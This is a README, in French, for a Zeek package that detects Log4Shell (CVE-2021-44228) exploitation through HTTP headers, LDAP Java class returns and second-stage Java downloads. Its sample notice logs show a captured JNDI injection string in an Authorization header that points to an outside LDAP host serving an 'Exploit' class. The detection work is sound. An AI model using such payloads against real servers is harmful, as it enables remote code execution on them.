
Paquet Zeek pour détecter les tentatives d'exploitation de la vulnérabilité Log4j CVE-2021-44228 via des charges utiles dans les en-têtes HTTP, des téléchargements de classes Java LDAP et des téléchargements de classes Java de deuxième étape, avec journalisation configurable et génération d'alertes.
Un package Zeek qui génère des notifications, marque les connexions HTTP et produit optionnellement un journal pour les tentatives Log4J (CVE-2021-44228).
Détecte les charges utiles contenues dans les en-têtes HTTP : Voir Simplifier la détection de Log4Shell pour les détails.
Utilise les signatures Zeek pour générer des notifications lorsqu'un fichier Java est renvoyé lors d'une recherche LDAP. Voir Détection de Log4j via Zeek et le trafic LDAP pour les détails.
Détecte quand la classe Java de second stade est téléchargée, indépendamment de la charge utile et de la détection du premier stade. Voir Détection des exploits Log4j via Zeek quand Java télécharge Java pour les détails.
$ zkg install cve-2021-44228
À utiliser sur un pcap que vous possédez déjà :
$ zeek -Cr scripts/__load__.zeek your.pcap
Si vous installez à partir d'une version git clone du dépôt, notez qu'elle utilise par défaut la branche de développement. Installez à partir de master ou d'une version publiée pour une version plus stable du package.
CVE_2021_44228::log détermine si le journal log4j est généré. Par défaut à T.CVE_2021_44228::ignorable_target_hosts est un ensemble de target_host à ignorer. C'est un set[string] donc les IP et les domaines peuvent être ignorés.CVE_2021_44228::ignorable_orig_hosts ensemble d'addr provenant de scanners bénins connus à ignorer.CVE_2021_44228::ignorable_resp_hosts idem mais pour les resp.CVE_2021_44228::try_normalize détermine si la normalisation de la charge utile doit être tentée. Par défaut à T.Ce package génère trois notifications distinctes :
LOG4J_ATTEMPT_HEADERLOG4J_LDAP_JAVALOG4J_JAVA_CLASS_DOWNLOADLOG4J_ATTEMPT_HEADER signale les tentatives potentielles basées sur les données des en-têtes HTTP. Celles-ci sont également enregistrées dans log4j si activé.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-14-11-50-29
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639350256.733555 Cp7gaS3nVqVl49obpb 154.65.28.250 57932 172.16.4.58 80 - - - tcp CVE_2021_44228::LOG4J_ATTEMPT_HEADER Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers uri='/', payload_uri=45.83.193.150:1389/Exploit, payload_stem=45.83.193.150:1389, payload_host=45.83.193.150, payload_port=1389, method=GET, is_orig=T, header name='AUTHORIZATION', header value='Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}' 154.65.28.250 172.16.4.58 80 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-14-11-50-29
LOG4J_LDAP_JAVA détecte le téléchargement de bytecode Java via LDAP. En pratique, nous observons cela suffisamment rarement pour en faire une bonne détection indirecte d'exploits potentiellement réussis.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-16-20-54-13
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp CVE_2021_44228::LOG4J_LDAP_JAVA Possible Log4j exploit CVE-2021-44228 exploit, JAVA over LDAP. Refer to sub field for sample of payload. 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07Exploit 172.16.238.10 172.16.238.11 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425834.635341 CUM0KZ3MLUfNB0cl11 172.16.238.10 57742 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-16-20-54-13
Enfin, LOG4J_JAVA_CLASS_DOWNLOAD génère une notification lorsque nous sommes confiants que Java télécharge plus de Java. Comme ci-dessus, cela se produit suffisamment rarement pour être une détection indirecte utile.